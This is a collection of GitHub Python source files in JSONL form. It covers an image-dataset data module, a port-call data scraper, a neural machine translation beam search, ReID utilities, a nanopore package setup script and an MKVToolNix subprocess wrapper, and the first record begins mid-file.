result[POS_API_MAP[name]] = style['rgb']\n\n    return result\n\n\ndef write(loc, content):\n    with open(loc, 'wb') as f:\n        f.write(content)\n\n\nif __name__ == '__main__':\n    create_worksheet('C:\\\\Users\\\\sungo\\\\Documents\\\\test.docx',\n                     'Worksheet',\n                     ['I like cats.'],\n                     [],\n                     {'Remove Commas': True})\n","repo_name":"GrammarGuru/Sentence","sub_path":"services/worksheet.py","file_name":"worksheet.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74404942728","text":"import pytorch_lightning as pl\nfrom torch.utils.data.dataloader import DataLoader\nfrom torchvision import transforms as T\n\nfrom dataloaders.GSVCitiesDataset import GSVCitiesDataset, GSVCitiesValDataset\n# from . import PittsburgDataset\n# from . import MapillaryDataset\n\nfrom prettytable import PrettyTable\n\nTYPE2LAMBDA = {\n    'resize': lambda **kw: T.Resize(size=kw['size'], interpolation=T.InterpolationMode.BILINEAR),\n    'randaug': lambda **kw: T.RandAugment(num_ops=kw['num_ops'], interpolation=T.InterpolationMode.BILINEAR),\n    'totensor': lambda **kw: T.ToTensor(),\n    'normalize': lambda **kw: T.Normalize(mean=kw['mean'], std=kw['std']),\n    'centercrop': lambda **kw: T.CenterCrop(size=kw['size']),\n    'pad': lambda **kw: T.Pad(size=kw['size'], fill=kw.get('fill', 0))\n}\n\ndef build_transform_compose(transforms):\n    to_compose = []\n    for t in transforms:\n        t = TYPE2LAMBDA[t['type']](**t.get('kwargs', {}))\n        to_compose.append(t)\n    return T.Compose(to_compose)\n    \n        \n\nclass GSVCitiesDataModule(pl.LightningDataModule):\n    def __init__(self,\n                 batch_size=32,\n                 img_per_place=4,\n                 min_img_per_place=4,\n                 shuffle_all=False,\n                 image_size=(480, 640),\n                 num_workers=4,\n                 show_data_stats=True,\n                 batch_sampler=None,\n                 random_sample_from_each_place=True,\n                 train_anno=None,\n                 query_anno=[],\n                 ref_anno=[],\n                 base_path=None,\n                 train_transform=[],\n                 vals_transforms=[],\n                 train_transform_e=[]\n                 ):\n        super().__init__()\n        self.batch_size = batch_size\n        self.img_per_place = img_per_place\n        self.min_img_per_place = min_img_per_place\n        self.shuffle_all = shuffle_all\n        self.image_size = image_size\n        self.num_workers = num_workers\n        self.batch_sampler = batch_sampler\n        self.show_data_stats = show_data_stats\n        self.random_sample_from_each_place = random_sample_from_each_place\n        self.save_hyperparameters() # save hyperparameter with Pytorch Lightening\n\n        self.train_anno = train_anno\n        self.query_anno = query_anno\n        self.ref_anno = ref_anno\n        self.base_path = base_path\n        # import pdb; pdb.set_trace()\n        assert len(query_anno) == len(vals_transforms) == len(ref_anno), 'data not match with transform'\n        self.train_transform = build_transform_compose(train_transform)\n        self.train_transform_e = build_transform_compose(train_transform_e)\n        self.valid_transforms = [build_transform_compose(vals_transform) for vals_transform in vals_transforms]\n\n        self.train_loader_config = {\n            'batch_size': self.batch_size,\n            'num_workers': self.num_workers,\n            'drop_last': False,\n            'pin_memory': True,\n            'shuffle': self.shuffle_all}\n            \n\n        self.valid_loader_config = {\n            'batch_size': self.batch_size,\n            'num_workers': self.num_workers//2,\n            'drop_last': False,\n            'pin_memory': True,\n            'shuffle': False}\n\n    def setup(self, stage):\n        if stage == 'fit':\n            self.reload()\n            # load validation sets (pitts_val, msls_val, ...etc)\n            self.val_set_names = self.query_anno\n            self.val_datasets = [GSVCitiesValDataset(\n            img_per_place=self.img_per_place,\n            min_img_per_place=self.min_img_per_place,\n            random_sample_from_each_place=self.random_sample_from_each_place,\n            transform=self.train_transform,\n            base_path=self.base_path,\n            query_anno=q,\n            ref_anno=r) for q, r in zip(self.query_anno, self.ref_anno)]\n            if self.show_data_stats:\n                self.print_stats()\n\n    def reload(self):\n        self.train_dataset = GSVCitiesDataset(\n            img_per_place=self.img_per_place,\n            min_img_per_place=self.min_img_per_place,\n            random_sample_from_each_place=self.random_sample_from_each_place,\n            transform=self.train_transform,\n            transform_e=self.train_transform_e,\n            base_path=self.base_path,\n            train_anno=self.train_anno)\n\n    def train_dataloader(self):\n        self.reload()\n        return DataLoader(dataset=self.train_dataset, **self.train_loader_config)\n\n    def val_dataloader(self):\n        val_dataloaders = []\n        for val_dataset in self.val_datasets:\n            val_dataloaders.append(DataLoader(\n                dataset=val_dataset, **self.valid_loader_config))\n        return val_dataloaders\n\n    def print_stats(self):\n        print()  # print a new line\n        table = PrettyTable()\n        table.field_names = ['Data', 'Value']\n        table.align['Data'] = \"l\"\n        table.align['Value'] = \"l\"\n        table.header = False\n        table.add_row([\"# of places\", f'{self.train_dataset.__len__()}'])\n        table.add_row([\"# of images\", f'{self.train_dataset.total_nb_images}'])\n        print(table.get_string(title=\"Training Dataset\"))\n        print()\n\n        table = PrettyTable()\n        table.field_names = ['Data', 'Value']\n        table.align['Data'] = \"l\"\n        table.align['Value'] = \"l\"\n        table.header = False\n        # table.add_row([\"# of places\", f'{self.train_dataset.__len__()}'])\n        print(table.get_string(title=\"Validation Datasets\"))\n        print()\n\n        table = PrettyTable()\n        table.field_names = ['Data', 'Value']\n        table.align['Data'] = \"l\"\n        table.align['Value'] = \"l\"\n        table.header = False\n        table.add_row(\n            [\"Batch size (PxK)\", f\"{self.batch_size}x{self.img_per_place}\"])\n        table.add_row(\n            [\"# of iterations\", f\"{self.train_dataset.__len__()//self.batch_size}\"])\n        table.add_row([\"Image size\", f\"{self.image_size}\"])\n        print(table.get_string(title=\"Training config\"))\n","repo_name":"lannester666/event_based_vpr","sub_path":"dataloaders/GSVCitiesDataloader.py","file_name":"GSVCitiesDataloader.py","file_ext":"py","file_size_in_byte":5994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44240762390","text":"import datetime as dt\nimport logging\nimport re\n\nfrom dateutil.parser import parse as parse_date\n\nfrom kp_scrapers.lib.date import get_first_day_of_next_month, to_isoformat\nfrom kp_scrapers.lib.parser import may_strip, str_to_float\nfrom kp_scrapers.lib.utils import ignore_key, map_keys\nfrom kp_scrapers.models.port_call import PortCall\nfrom kp_scrapers.models.utils import validate_item\n\n\nlogger = logging.getLogger(__name__)\n\nCARGO_BLACKLIST = [\n    'EX ',\n    'TICTS',\n    'TPA',\n    'BALLAST',\n    'CONTAINERS',\n    'GENERAL CARGO',\n    r'FOR\\s*TPA\\s*PROJECT',\n    r'WAITING\\s*TO\\s*SAIL',\n    r'NAVY\\s*SHIP',\n    r'FISHING\\s*VESSEL',\n    r'MOTOR\\s*VEHICLES',\n]\n\nRELEVANT_VESSEL_TYPES = ['GC', 'T']\n\nNO_VALUE_SIGN = ['', '-', 'TBA']\n\n\n@validate_item(PortCall, normalize=True, strict=False)\ndef process_eta_item(raw_item):\n    \"\"\"Transform raw item into an event.\n\n    This is for EXPECTED ARRIVALS table.\n\n    Args:\n        raw_item (Dict[str]):\n\n    Returns:\n        Dict[str, str | Dict[str, str]]:\n\n    \"\"\"\n    item = map_keys(\n        raw_item, eta_field_mapping(reported_date=raw_item['reported_date']), skip_missing=True\n    )\n\n    # ignore irrelevant vessel type (agent contains vessel type info)\n    if item['agent_cargo_receiver'][1] not in RELEVANT_VESSEL_TYPES:\n        logger.info(\n            f'Vessel is of an irrelevant type: '\n            f'{item[\"vessel_name\"]} ({item[\"agent_cargo_receiver\"][1]})'\n        )\n        return\n\n    # ignore vessel with irrelevant cargo and empty cargo\n    cargoes = list(normalize_cargoes_in_expected_arrival(item['agent_cargo_receiver'][2]))\n    if not cargoes:\n        logger.info(f'Vessel is carrying irrelevant cargo: {item[\"vessel_name\"]}')\n        return\n\n    return {\n        'port_name': item['port_name'],\n        'provider_name': item['provider_name'],\n        'reported_date': item['reported_date'],\n        'eta': item['eta'],\n        'vessel': {\n            'name': item['vessel_name'],\n            'gross_tonnage': item['gross_tonnage'],\n            'length': item['vessel_length'],\n        },\n        'cargoes': cargoes,\n    }\n\n\n@validate_item(PortCall, normalize=True, strict=False)\ndef process_at_berth_item(raw_item):\n    \"\"\"Transform item into a port call event (arrival).\n\n    Args:\n        raw_item (Dict[str]):\n\n    Returns:\n        Dict[str, str | Dict[str, str]]:\n\n    \"\"\"\n    cargoes = list(normalize_cargoes_in_berth_plan(raw_item, ['cargo', 'import', 'export']))\n    if not cargoes:\n        return\n\n    item = map_keys(raw_item, at_berth_field_mapping(), skip_missing=True)\n    return {\n        'port_name': item['port_name'],\n        'provider_name': item['provider_name'],\n        'reported_date': item['reported_date'],\n        'berthed': guess_at_berth_berthed_date(item['reported_date']),\n        'vessel': {'name': item['vessel_name'], 'length': item['vessel_length']},\n        'cargoes': cargoes,\n    }\n\n\n@validate_item(PortCall, normalize=True, strict=False)\ndef process_anchorage_item(raw_item):\n    \"\"\"Transform item into a port call event (berthed).\n\n    Args:\n        raw_item (Dict[str]):\n\n    Returns:\n        Dict[str, str | Dict[str, str]]:\n\n    \"\"\"\n    cargoes = list(normalize_cargoes_in_berth_plan(raw_item, ['TYPE OF CARGO', 'IMPORT', 'EXPORT']))\n    if not cargoes:\n        return\n\n    item = map_keys(raw_item, anchorage_field_mapping(), skip_missing=True)\n\n    item['arrival'] = normalize_arrival_date(item.pop('arrival_date'), item.pop('arrival_time'))\n    if not item['arrival']:\n        return\n\n    item['vessel'] = {'name': item.pop('vessel_name'), 'length': item.pop('vessel_length')}\n\n    return item\n\n\ndef eta_field_mapping(**kwargs):\n    return {\n        '0': ('eta', lambda x: normalize_date(x, **kwargs)),\n        '1': ignore_key('draught'),\n        '2': ('vessel_length', lambda x: x if x else None),\n        '3': ('gross_tonnage', None),\n        '4': ('vessel_name', normalize_vessel_name),\n        '5': ('agent_cargo_receiver', split_agent_cargo_receiver),\n        'port_name': ('port_name', None),\n        'provider_name': ('provider_name', None),\n        'reported_date': ('reported_date', lambda x: to_isoformat(x, dayfirst=True)),\n    }\n\n\ndef at_berth_field_mapping():\n    return {\n        # vessel\n        'vessel_name': ('vessel_name', normalize_vessel_name),\n        'ship_draught': ignore_key('draught'),\n        'ship_length': ('vessel_length', lambda x: x if x else None),\n        # port\n        'berth': ('berth', None),\n        # meta field\n        'port_name': ('port_name', None),\n        'provider_name': ('provider_name', None),\n        'reported_date': ('reported_date', lambda x: to_isoformat(x, dayfirst=True)),\n    }\n\n\ndef anchorage_field_mapping():\n    return {\n        # vessel\n        'SHIP  NAME': ('vessel_name', normalize_vessel_name),\n        'DRAFT/LOA': ('vessel_length', normalize_vessel_length),\n        # arrival date\n        'SIT.DATE': ('arrival_date', None),\n        'TIME0': ('arrival_time', None),\n        # meta field\n        'port_name': ('port_name', None),\n        'provider_name': ('provider_name', None),\n        'reported_date': ('reported_date', lambda x: to_isoformat(x, dayfirst=True)),\n    }\n\n\ndef normalize_arrival_date(date, time):\n    \"\"\"Combine date and time, convert them to ISO 8601 format.\n\n    Examples:\n        >>> normalize_arrival_date('09.09.18', '0500')\n        '2018-09-09T05:00:00'\n        >>> normalize_arrival_date('09.09.18', '-')\n        '2018-09-09T00:00:00'\n        >>> normalize_arrival_date('-', '-')\n\n    Args:\n        date (str):\n        time (str):\n\n    Returns:\n        str:\n\n    \"\"\"\n    if date in NO_VALUE_SIGN:\n        return None\n\n    if time in NO_VALUE_SIGN:\n        return to_isoformat(date, dayfirst=True)\n\n    return to_isoformat(' '.join([date, time]), dayfirst=True)\n\n\ndef normalize_date(date_str, reported_date):\n    \"\"\"Normalize date to ISO 8601 format.\n\n    The date_str doesn't contain month and year info, so we need reported date as reference. If the\n    day is no bigger than reported date, then it's the same month and year as reported date. If the\n    day is smaller than reported date, then it's next month.\n\n    Examples:\n        >>> normalize_date('30TH MON', '23RD JULY 2018')\n        '2018-07-30T00:00:00'\n        >>> normalize_date('2ND THU', '23RD JULY 2018')\n        '2018-08-02T00:00:00'\n\n    Args:\n        date_str (str): format as 24TH TUE\n        reported_date (str): format as 23RD JULY 2018\n\n    Returns:\n        str:\n\n    \"\"\"\n    reported_date = parse_date(reported_date)\n    day, month, year = reported_date.day, reported_date.month, reported_date.year\n    eta_day = int(re.search(r'\\d*', date_str).group())\n\n    if eta_day >= day:\n        return dt.datetime(year, month, eta_day).isoformat()\n    else:\n        next_date = get_first_day_of_next_month(reported_date)\n        return dt.datetime(next_date.year, next_date.month, eta_day).isoformat()\n\n\ndef normalize_cargoes_in_expected_arrival(raw_cargo):\n    \"\"\"Extract cargoes information from raw item (from Expected Arrival table).\n\n    Args:\n        raw_cargo (Dict[str, str]):\n\n    Returns:\n        List[Dict(str, str)]:\n\n    \"\"\"\n    cargo_info = _handel_specific_cargo(raw_cargo)\n    for alias in CARGO_BLACKLIST:\n        if any(alias in product for product in cargo_info):\n            logger.info(f'Cargo is blacklisted, will not yield: {cargo_info}')\n            return None\n\n    for cargo in cargo_info:\n        yield _assemble_cargo(cargo, None, None)\n\n\ndef _assemble_cargo(product, movement, volume):\n    return {\n        'product': may_strip(product),\n        'movement': movement,\n        'volume': volume,\n        'volume_unit': 'tons',\n    }\n\n\ndef normalize_cargoes_in_berth_plan(raw_item, key_list):\n    \"\"\"Extract cargoes information from raw item (from Berth Plan table).\n\n    Args:\n        raw_item (Dict[str, str):\n        key_list (List[str]):\n\n    Returns:\n        List[Dict[str, str]] | None:\n\n    \"\"\"\n\n    cargo_info = raw_item[key_list[0]].strip()\n    discharge = raw_item[key_list[1]]\n    load = raw_item[key_list[2]]\n\n    for block in CARGO_BLACKLIST:\n        if re.search(block, cargo_info):\n            return\n\n    # handle cargo info like 'JET A1 / 1K'\n    cargo_info = _handel_specific_cargo(cargo_info)\n\n    if cargo_info in NO_VALUE_SIGN:\n        return\n\n    if str_to_float(discharge):\n        disch = str_to_float(discharge) / len(cargo_info)\n        for cargo in cargo_info:\n            yield _assemble_cargo(cargo, 'discharge', str(disch))\n\n    if str_to_float(load):\n        load = str_to_float(load) / len(cargo_info)\n        for cargo in cargo_info:\n            yield _assemble_cargo(cargo, 'load', str(load))\n\n\ndef _handel_specific_cargo(info):\n    \"\"\"Handle cargo information.\n\n     1. cargo/receiver: JET A1 / 1K\n\n    Args:\n        info (str):\n\n    Returns:\n        List[str]\n\n    \"\"\"\n    if '/' in info:\n        return info.split('/')\n\n    return [info]\n\n\ndef normalize_vessel_name(vessel_name):\n    \"\"\"Omit 'MT' at the beginning and remove double-spaces.\n\n    Examples:\n        >>> normalize_vessel_name('MT GRAND ACE 11')\n        'GRAND ACE 11'\n        >>> normalize_vessel_name('MTAMT ')\n        'MTAMT'\n\n    Args:\n        vessel_name (str):\n\n    Returns:\n        str:\n\n    \"\"\"\n    for prefix in ('MT ', 'MSC '):\n        if vessel_name.startswith(prefix):\n            vessel_name = vessel_name.replace(prefix, '')\n    return may_strip(vessel_name)\n\n\ndef split_agent_cargo_receiver(strs):\n    \"\"\"Split AGENT  /  CARGO  /  RECEIVER field.\n\n    Usually, the format is:\n    Agent - Cargo\n    Agent - Receiver\n\n    So, we can split the string by '  - ' and retrieve the two parts. Agent may contains -, but the\n    number of blanks near the dash is 1, unlike the separator: 2. Thus we can make sure it's\n    divided correctly.\n\n    Examples:\n        >>> split_agent_cargo_receiver('SEAFORTH  ( GC )   -  WHEAT  IN  BULK   ( S.S.B )')\n        ('SEAFORTH', 'GC', 'WHEAT IN BULK')\n        >>> split_agent_cargo_receiver('MESSINA  ( RO-RO )  -  TPA  ( TO DISCH. 91 UNITS )')\n        ('MESSINA', 'RO-RO', 'TPA')\n        >>> split_agent_cargo_receiver('SEAFORTH  ( GC )   - JET A1 / IK')\n        ('SEAFORTH', 'GC', 'JET A1 / IK')\n\n    Args:\n        strs (str):\n\n    Returns:\n        Tuple[str, str, str]: a tuple of (agent, vessel_type, cargo/receiver)\n\n    \"\"\"\n    str_match = re.match(r'^([\\w\\s]+)\\(\\s*(\\S+)\\s*\\)\\s*\\-\\s*([\\w\\s\\/\\-]+)', strs)\n    return tuple(map(may_strip, list(str_match.groups()))) if str_match else (None, None, None)\n\n\ndef guess_at_berth_berthed_date(reported_date):\n    \"\"\"Arrival date would be a previous day of reported date.\n\n    Args:\n        reported_date (str):\n\n    Returns:\n        str: date in format of ISO 8601\n\n    \"\"\"\n    return (parse_date(reported_date, dayfirst=False) - dt.timedelta(days=1)).isoformat()\n\n\ndef normalize_vessel_length(raw_length):\n    \"\"\"Extract vessel length from DRAFT/LOA field.\n\n    Examples:\n        >>> normalize_vessel_length('9.8 (183.06)')\n        '183.06'\n        >>> normalize_vessel_length('8.2 (240)')\n        '240'\n\n    Args:\n        raw_length (str):\n\n    Returns:\n        str | None:\n\n    \"\"\"\n    length_match = re.search(r'\\((.*)\\)', raw_length)\n    return length_match.group(1).strip() if length_match else None\n","repo_name":"theHausdorffMetric/test","sub_path":"kp_scrapers/spiders/port_authorities/dar_es_salam/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":11195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20724693525","text":"import sys\nsys.setrecursionlimit(10 ** 6)\n\nif __name__ == \"__main__\":\n    s = input()\n    t = input()\n    answer = 0\n\n    def change(s, t):\n        global answer\n        if len(s) == len(t):\n            if s == t:\n                answer = 1\n                return \n            else:\n                return\n        \n        if t[-1] == 'A':\n            change(s, t[:-1])\n\n        if t[0] == 'B':\n            change(s, t[1:][::-1])\n            \n    change(s, t)\n    if answer == 0:\n        print(0)\n    else:\n        print(1)","repo_name":"Angela-OH/Algorithm","sub_path":"백준/12919.py","file_name":"12919.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33168447824","text":"import cv2\nimport os\nimport sys\nimport logging\nimport json\nimport numpy as np\n\nimport mindspore as ms\n\n\ndef setup_logger(name, save_dir, distributed_rank, file_name='log.txt'):\n    logger = logging.getLogger(name)\n    logger.setLevel(logging.DEBUG)\n    # don't log results for the non-master process\n    if distributed_rank > 0:\n        return logger\n    ch = logging.StreamHandler(stream=sys.stdout)\n    ch.setLevel(logging.DEBUG)\n    formatter = logging.Formatter(\"%(asctime)s %(name)s %(levelname)s: %(message)s\")\n    ch.setFormatter(formatter)\n    logger.addHandler(ch)\n\n    if save_dir:\n        fh = logging.FileHandler(os.path.join(save_dir, file_name), mode='w')\n        fh.setLevel(logging.DEBUG)\n        fh.setFormatter(formatter)\n        logger.addHandler(fh)\n\n    return logger\n\n\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n\n    def __init__(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        self.avg = self.sum / self.count\n\n\ndef find_files(dir_path, img_paths, suffix=['jpg', 'png', 'bmp']):\n    files = os.listdir(dir_path)\n    for f in files:\n        path = os.path.join(dir_path, f)\n        if os.path.isdir(path):\n            find_files(path, img_paths, suffix)\n        elif f.split('.')[-1] in suffix:\n            img_paths.append(path)\n\n\ndef write_json(indices, q_img_paths, g_img_paths, dst_dir,\n               name='submit.json', top_k=200):\n    results = {}\n    indices = indices[:, :top_k]\n    for i in range(indices.shape[0]):\n        query_name = os.path.basename(q_img_paths[i])\n        results[query_name] = []\n        for j in range(indices.shape[1]):\n            idx = indices[i, j]\n            gallery_name = os.path.basename(g_img_paths[idx])\n            results[query_name].append(gallery_name)\n    with open(os.path.join(dst_dir, name), 'w', encoding='utf-8') as f:\n        json.dump(results, f)\n\n\ndef vis_rank(dataset, indices, out_dir, topk=5, size=(128, 256)):\n    out_dir = os.path.join(out_dir, 'vis_rank')\n    if not os.path.exists(out_dir):\n        os.mkdir(out_dir)\n    color = (0, 0, 255)\n    indices = indices[:, :topk]\n    img_paths = []\n    pids = []\n    camids = []\n    for img_path, pid, camid in dataset.query + dataset.gallery:\n        img_paths.append(img_path)\n        pids.append(pid)\n        camids.append(camid)\n    num_query = len(dataset.query)\n    for i in range(indices.shape[0]):\n        query_img = cv2.imread(img_paths[i])\n        query_img = cv2.resize(query_img, size)\n        imgs = [query_img]\n        for j in range(indices.shape[1]):\n            idx = num_query + indices[i, j]\n            img = cv2.imread(img_paths[idx])\n            img = cv2.resize(img, size)\n            if pids[i] != pids[idx]:\n                img = cv2.rectangle(img, (0, 0), size, color, 4)\n            imgs.append(img)\n        canvas = np.concatenate(imgs, axis=1)\n        cv2.imwrite(os.path.join(out_dir, os.path.basename(img_paths[i])), canvas)\n","repo_name":"Xiangyu-CAS/ReID.mindspore","sub_path":"lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11906182195","text":"from distutils.core import setup\nfrom distutils.extension import Extension\nimport numpy as np\n\ntry:\n    from Cython.Distutils import build_ext\nexcept ImportError:\n    use_cython = False\nelse:\n    use_cython = True\n\ncmdclass = { }\n\nif use_cython:\n    ext_modules = [\n        Extension(\"PyPore.cparsers\", [ \"PyPore/cparsers.pyx\" ], include_dirs=[np.get_include()] ),\n        Extension(\"PyPore.calignment\", [ \"PyPore/calignment.pyx\" ], include_dirs=[np.get_include()] )\n    ]\n    cmdclass.update({ 'build_ext': build_ext })\nelse:\n    ext_modules = [\n        Extension(\"PyPore.cparsers\", [ \"PyPore/cparsers.c\" ], include_dirs=[np.get_include()] ),\n        Extension(\"PyPore.calignment\", [ \"PyPore/calignment.c\" ], include_dirs=[np.get_include()] )\n    ]\n\nsetup(\n    name='pythonic-porin',\n    version='0.2.0',\n    author='Jacob Schreiber',\n    author_email='jmschreiber91@gmail.com',\n    packages=['PyPore'],\n    url='http://pypi.python.org/pypi/pythonic-porin/',\n    license='LICENSE.txt',\n    description='Nanopore Data Analysis package. Provides tools for reading data,\\\n        performing event detection, segmentation, visualization, and analysis using\\\n        hidden Markov models, and other tools. Designed for the UCSC Nanopore Group.',\n    cmdclass=cmdclass,\n    ext_modules=ext_modules,\n    install_requires=[\n        \"cython >= 0.20.1\",\n        \"numpy >= 1.8.0\",\n        \"matplotlib >= 1.3.1\"\n    ],\n)\n","repo_name":"jmschrei/PyPore","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"16"}
+{"seq_id":"9071180440","text":"import chainer\nimport numpy\nimport math\nimport nmtrain\n\nclass RNN_NMT(object):\n  def __init__(self):\n    self.bptt = None\n    self.bptt_len = 0\n    self.train = self.train_mle\n\n  def configure_learning(self, learning_config, bptt_func = None):\n    self.bptt          = bptt_func\n    self.config        = learning_config\n    self.learning_type = learning_config.learning.method\n    if self.learning_type == \"mrt\":\n      nmtrain.log.info(\"Setting learning to minimum risk training\")\n      self.train = self.train_mrt\n      self.minrisk   = nmtrain.minrisk.minrisk.MinimumRiskTraining(learning_config.learning.mrt)\n    else:\n      nmtrain.log.info(\"Setting learning to maximum likelihood training\")\n      self.train = self.train_mle\n\n  def train_mle(self, model, src_batch, trg_batch, eos_id, outputer=None):\n    batch_loss  = 0\n    bptt_ctr    = 0\n    model.encode(src_batch)\n\n    if outputer: outputer.begin_collection(src=src_batch, ref=trg_batch)\n    for i, trg_word in enumerate(trg_batch):\n      y_t = chainer.Variable(model.xp.array(trg_word, dtype=numpy.int32))\n      output = model.decode()\n      batch_loss += chainer.functions.softmax_cross_entropy(output.y, y_t, reduce='no')\n      model.update(y_t)\n\n      # Truncated BPTT\n      if hasattr(self, \"bptt\") and self.bptt is not None and self.bptt_len > 0:\n        bptt_ctr += 1\n        if bptt_ctr == self.config.bptt_len:\n          self.bptt(batch_loss)\n          bptt_ctr = 0\n\n      if outputer: outputer(output)\n    if outputer: outputer.end_collection()\n    return chainer.functions.sum(batch_loss)\n\n  def train_mrt(self, model, src_batch, trg_batch, eos_id, outputer=None):\n    return self.minrisk(model, src_batch, trg_batch, eos_id, outputer)\n\n  def predict(self, model, src_sent, eos_id, gen_limit=50,\n              store_probabilities=False,\n              beam=1, word_penalty=0):\n    # The beam used to represent state in beam search\n    class BeamState:\n      def __init__(self, id, model_state, log_prob, word, attention, word_prob, parent):\n        self.id          = id\n        self.model_state = model_state\n        self.log_prob    = log_prob\n        self.word        = word\n        self.attention   = attention\n        self.word_prob   = word_prob\n        self.parent      = parent\n\n    # The n-argmax function\n    def n_argmax(array, top):\n      top = min(top, len(array))\n      return numpy.argpartition(array, -top)[-top:]\n\n    # The beams\n    beams = [BeamState(0, None, 0, None, None, None, None)]\n    beam_prediction = []\n    worst_prob = -float(\"inf\")\n    cur_id = 1\n    # Start Prediction\n    model.encode(src_sent)\n    for i in range(gen_limit):\n      # Expand all the beams\n      new_beam = []\n      for state in beams:\n        if eos_id == state.word:\n          if len(beam_prediction) == 0:\n            worst_prob = state.log_prob\n          else:\n            worst_prob = min(state.log_prob, worst_prob)\n          beam_prediction.append(state)\n        else:\n          if state.word is not None:\n            model.set_state(state.model_state)\n            word_var = chainer.Variable(model.xp.array([state.word], dtype=numpy.int32))\n            model.update(word_var)\n\n          # Produce the output\n          output = model.decode()\n          current_model = model.state()\n          y_dist = chainer.cuda.to_cpu(chainer.functions.softmax(output.y).data[0])\n          attn_out = chainer.cuda.to_cpu(output.a.data[0]) if hasattr(output, \"a\") else None\n          word_prob = y_dist if store_probabilities else None\n          # Produce the next words\n          if beam == 1:\n            words = [numpy.argmax(y_dist)]\n          else:\n            words = n_argmax(y_dist, beam)\n          for word in words:\n            new_probability = math.log(y_dist[word]) + word_penalty + state.log_prob\n            new_beam.append(BeamState(id=cur_id, model_state=current_model, log_prob=new_probability,\n                                      word=word, attention=attn_out,\n                                      word_prob=word_prob, parent=state))\n            cur_id += 1\n      # First sort the beam\n      new_beam = sorted(new_beam, key = lambda state: state.log_prob, reverse=True)\n      # When the best hypothesis probability is worse than the best probability stop or\n      # If no new state is generated\n      if len(new_beam) == 0 or new_beam[0].log_prob < worst_prob:\n        break\n      else:\n        beams = new_beam[:beam]\n\n    # Apparently, no hypothesis reached the end of sentence\n    if len(beam_prediction) == 0:\n      beam_prediction = [beams[0]]\n    else:\n      beam_prediction = sorted(beam_prediction,\n                               key=lambda state:state.log_prob,\n                               reverse=True)\n\n    ## Collecting output\n    cur_state  = beam_prediction[0]\n    # attention\n    attention_available = cur_state.attention is not None\n    attention = [] if attention_available else None\n    # probability of each time step\n    probabilities = [] if store_probabilities else None\n    # Prediction\n    prediction = []\n    while cur_state.parent is not None:\n      prediction.append(cur_state.word)\n      if attention_available:\n        attention.append(numpy.expand_dims(cur_state.attention, axis=1))\n      if store_probabilities:\n        probabilities.append(numpy.expand_dims(cur_state.word_prob, axis=1))\n      cur_state = cur_state.parent\n    ## Packing output\n    output = lambda: None\n    output.prediction = list(reversed(prediction))\n    # Output: Attention\n    if attention_available:\n      output.attention = numpy.concatenate(list(reversed(attention)), axis=1)\n    # Output: Word probabilities\n    if store_probabilities:\n      output.probabilities = numpy.concatenate(list(reversed(probabilities)), axis=1)\n    return output\n\n","repo_name":"philip30/nmtrain","sub_path":"nmtrain/classifiers/rnn_nmt.py","file_name":"rnn_nmt.py","file_ext":"py","file_size_in_byte":5736,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"36502694753","text":"# pylint: disable=missing-module-docstring\n\nimport subprocess as sp\nfrom rich.console import Console\nfrom src.exception import MKVmergeError, MKVextractError, ProcessError\n\nconsole = Console()\n\n\n# pylint: disable=too-few-public-methods\nclass Process:\n    \"\"\"Subprocess console display\"\"\"\n\n    def __init__(self):\n        self.process_exceptions = {\n            \"mkvmerge\": MKVmergeError,\n            \"mkvextract\": MKVextractError,\n            \"other\": ProcessError,\n        }\n\n        self.colors = {\"ok\": \"green\", \"busy\": \"cyan\"}\n\n    def run(self, process, command, process_color=\"#F79EDE\"):\n        \"\"\"Run specified command\"\"\"\n\n        console.print(\n            f\"> The following [{process_color}]{process}[/{process_color}] command will be executed:\\r\"\n        )\n        console.print(f\"[{self.colors['ok']}]{' '.join(command)}[/{self.colors['ok']}]\")\n        console.print(\n            f\"\\r> [{process_color}]{process}[/{process_color}] [{self.colors['busy']}]running...[/\"\n            f\"{self.colors['busy']}]\",\n            end=\"\\r\",\n        )\n\n        response = sp.run(command, stdout=sp.PIPE, stderr=sp.PIPE, check=False)\n        return_code = response.returncode\n        if return_code == 0:\n            console.print(\n                f\"> [{process_color}]{process}[/{process_color}] [{self.colors['ok']}]completed[/\"\n                f\"{self.colors['ok']}]!\\r\\n\"\n            )\n            return response\n\n        if command[0] not in self.process_exceptions:\n            exception = self.process_exceptions[\"other\"]\n        else:\n            exception = self.process_exceptions[command[0]]\n\n        message_exception = response.stdout.decode(\"utf-8\")\n        if bool(\n            response.stderr.decode(\"utf-8\")\n            and not response.stderr.decode(\"utf-8\").isspace()\n        ):\n            message_exception = response.stderr.decode(\"utf-8\")\n\n        raise exception(\n            f\"Process returned exit code `{return_code}`.\\r\\n\\r\\n{message_exception}\"\n        )\n","repo_name":"ToshY/mkvextract-subs","sub_path":"src/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
